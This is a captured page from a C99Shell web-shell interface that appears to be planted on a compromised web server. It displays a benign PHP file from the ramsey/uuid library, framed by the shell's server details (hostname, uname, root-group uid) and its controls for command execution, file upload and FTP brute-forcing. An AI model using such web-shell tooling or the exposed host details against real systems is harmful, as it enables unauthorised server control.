!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/ramsey/uuid/src/Lazy/   drwxr-xr-x
Free 28.82 GB of 117.98 GB (24.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LazyUuidFromString.php (13.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the ramsey/uuid library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Ben Ramsey <ben@benramsey.com>
 * @license http://opensource.org/licenses/MIT MIT
 */

declare(strict_types=1);

namespace 
Ramsey\Uuid\Lazy;

use 
DateTimeInterface;
use 
Ramsey\Uuid\Converter\NumberConverterInterface;
use 
Ramsey\Uuid\Exception\UnsupportedOperationException;
use 
Ramsey\Uuid\Fields\FieldsInterface;
use 
Ramsey\Uuid\Rfc4122\UuidV1;
use 
Ramsey\Uuid\Rfc4122\UuidV6;
use 
Ramsey\Uuid\Type\Hexadecimal;
use 
Ramsey\Uuid\Type\Integer as IntegerObject;
use 
Ramsey\Uuid\UuidFactory;
use 
Ramsey\Uuid\UuidInterface;
use 
ValueError;

use function 
assert;
use function 
bin2hex;
use function 
hex2bin;
use function 
sprintf;
use function 
str_replace;
use function 
substr;

/**
 * Lazy version of a UUID: its format has not been determined yet, so it is mostly only usable for string/bytes
 * conversion. This object optimizes instantiation, serialization and string conversion time, at the cost of increased
 * overhead for more advanced UUID operations.
 *
 * > [!NOTE]
 * > The {@see FieldsInterface} does not declare methods that deprecated API relies upon: the API has been ported from
 * > the {@see \Ramsey\Uuid\Uuid} definition, and is deprecated anyway.
 *
 * > [!NOTE]
 * > The deprecated API from {@see \Ramsey\Uuid\Uuid} is in use here (on purpose): it will be removed once the
 * > deprecated API is gone from this class too.
 *
 * @internal this type is used internally for performance reasons and is not supposed to be directly referenced in consumer libraries.
 */
final class LazyUuidFromString implements UuidInterface
{
    public const 
VALID_REGEX '/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/ms';

    private ?
UuidInterface $unwrapped null;

    
/**
     * @param non-empty-string $uuid
     */
    
public function __construct(private string $uuid)
    {
    }

    public static function 
fromBytes(string $bytes): self
    
{
        
$base16Uuid bin2hex($bytes);

        return new 
self(
            
substr($base16Uuid08)
            . 
'-'
            
substr($base16Uuid84)
            . 
'-'
            
substr($base16Uuid124)
            . 
'-'
            
substr($base16Uuid164)
            . 
'-'
            
substr($base16Uuid2012)
        );
    }

    public function 
serialize(): string
    
{
        return 
$this->uuid;
    }

    
/**
     * @return array{string: non-empty-string}
     */
    
public function __serialize(): array
    {
        return [
'string' => $this->uuid];
    }

    
/**
     * {@inheritDoc}
     *
     * @param non-empty-string $data
     */
    
public function unserialize(string $data): void
    
{
        
$this->uuid $data;
    }

    
/**
     * @param array{string?: non-empty-string} $data
     */
    
public function __unserialize(array $data): void
    
{
        
// @codeCoverageIgnoreStart
        
if (!isset($data['string'])) {
            throw new 
ValueError(sprintf('%s(): Argument #1 ($data) is invalid'__METHOD__));
        }
        
// @codeCoverageIgnoreEnd

        
$this->unserialize($data['string']);
    }

    public function 
getNumberConverter(): NumberConverterInterface
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getNumberConverter();
    }

    
/**
     * @inheritDoc
     */
    
public function getFieldsHex(): array
    {
        return (
$this->unwrapped ?? $this->unwrap())->getFieldsHex();
    }

    public function 
getClockSeqHiAndReservedHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getClockSeqHiAndReservedHex();
    }

    public function 
getClockSeqLowHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getClockSeqLowHex();
    }

    public function 
getClockSequenceHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getClockSequenceHex();
    }

    public function 
getDateTime(): DateTimeInterface
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getDateTime();
    }

    public function 
getLeastSignificantBitsHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getLeastSignificantBitsHex();
    }

    public function 
getMostSignificantBitsHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getMostSignificantBitsHex();
    }

    public function 
getNodeHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getNodeHex();
    }

    public function 
getTimeHiAndVersionHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getTimeHiAndVersionHex();
    }

    public function 
getTimeLowHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getTimeLowHex();
    }

    public function 
getTimeMidHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getTimeMidHex();
    }

    public function 
getTimestampHex(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getTimestampHex();
    }

    public function 
getUrn(): string
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getUrn();
    }

    public function 
getVariant(): ?int
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getVariant();
    }

    public function 
getVersion(): ?int
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getVersion();
    }

    public function 
compareTo(UuidInterface $other): int
    
{
        return (
$this->unwrapped ?? $this->unwrap())->compareTo($other);
    }

    public function 
equals(?object $other): bool
    
{
        if (!
$other instanceof UuidInterface) {
            return 
false;
        }

        return 
$this->uuid === $other->toString();
    }

    public function 
getBytes(): string
    
{
        
/**
         * @var non-empty-string
         * @phpstan-ignore possiblyImpure.functionCall, possiblyImpure.functionCall
         */
        
return (string) hex2bin(str_replace('-'''$this->uuid));
    }

    public function 
getFields(): FieldsInterface
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getFields();
    }

    public function 
getHex(): Hexadecimal
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getHex();
    }

    public function 
getInteger(): IntegerObject
    
{
        return (
$this->unwrapped ?? $this->unwrap())->getInteger();
    }

    public function 
toString(): string
    
{
        return 
$this->uuid;
    }

    public function 
__toString(): string
    
{
        return 
$this->uuid;
    }

    public function 
jsonSerialize(): string
    
{
        return 
$this->uuid;
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getClockSeqHiAndReserved()}
     *     and use the arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getClockSeqHiAndReserved(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getClockSeqHiAndReserved()->toString());
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getClockSeqLow()} and use
     *     the arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getClockSeqLow(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getClockSeqLow()->toString());
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getClockSeq()} and use the
     *     arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getClockSequence(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getClockSeq()->toString());
    }

    
/**
     * @deprecated This method will be removed in 5.0.0. There is no direct alternative, but the same information may be
     *     obtained by splitting in half the value returned by {@see UuidInterface::getHex()}.
     */
    
public function getLeastSignificantBits(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        return 
$instance->getNumberConverter()->fromHex(substr($instance->getHex()->toString(), 16));
    }

    
/**
     * @deprecated This method will be removed in 5.0.0. There is no direct alternative, but the same information may be
     *     obtained by splitting in half the value returned by {@see UuidInterface::getHex()}.
     */
    
public function getMostSignificantBits(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        return 
$instance->getNumberConverter()->fromHex(substr($instance->getHex()->toString(), 016));
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getNode()} and use the
     *     arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getNode(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getNode()->toString());
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getTimeHiAndVersion()} and
     *     use the arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getTimeHiAndVersion(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getTimeHiAndVersion()->toString());
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getTimeLow()} and use the
     *     arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getTimeLow(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getTimeLow()->toString());
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getTimeMid()} and use the
     *     arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getTimeMid(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        return 
$instance->getNumberConverter()->fromHex($fields->getTimeMid()->toString());
    }

    
/**
     * @deprecated Use {@see UuidInterface::getFields()} to get a {@see FieldsInterface} instance. If it is a
     *     {@see Rfc4122FieldsInterface} instance, you may call {@see Rfc4122FieldsInterface::getTimestamp()} and use
     *     the arbitrary-precision math library of your choice to convert it to a string integer.
     */
    
public function getTimestamp(): string
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
$fields $instance->getFields();
        
assert($fields instanceof \Ramsey\Uuid\Rfc4122\FieldsInterface);

        if (
$fields->getVersion() !== 1) {
            throw new 
UnsupportedOperationException('Not a time-based UUID');
        }

        return 
$instance->getNumberConverter()->fromHex($fields->getTimestamp()->toString());
    }

    public function 
toUuidV1(): UuidV1
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        if (
$instance instanceof UuidV1) {
            return 
$instance;
        }

        
assert($instance instanceof UuidV6);

        return 
$instance->toUuidV1();
    }

    public function 
toUuidV6(): UuidV6
    
{
        
$instance = ($this->unwrapped ?? $this->unwrap());

        
assert($instance instanceof UuidV6);

        return 
$instance;
    }

    private function 
unwrap(): UuidInterface
    
{
        return 
$this->unwrapped = (new UuidFactory())->fromString($this->uuid);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--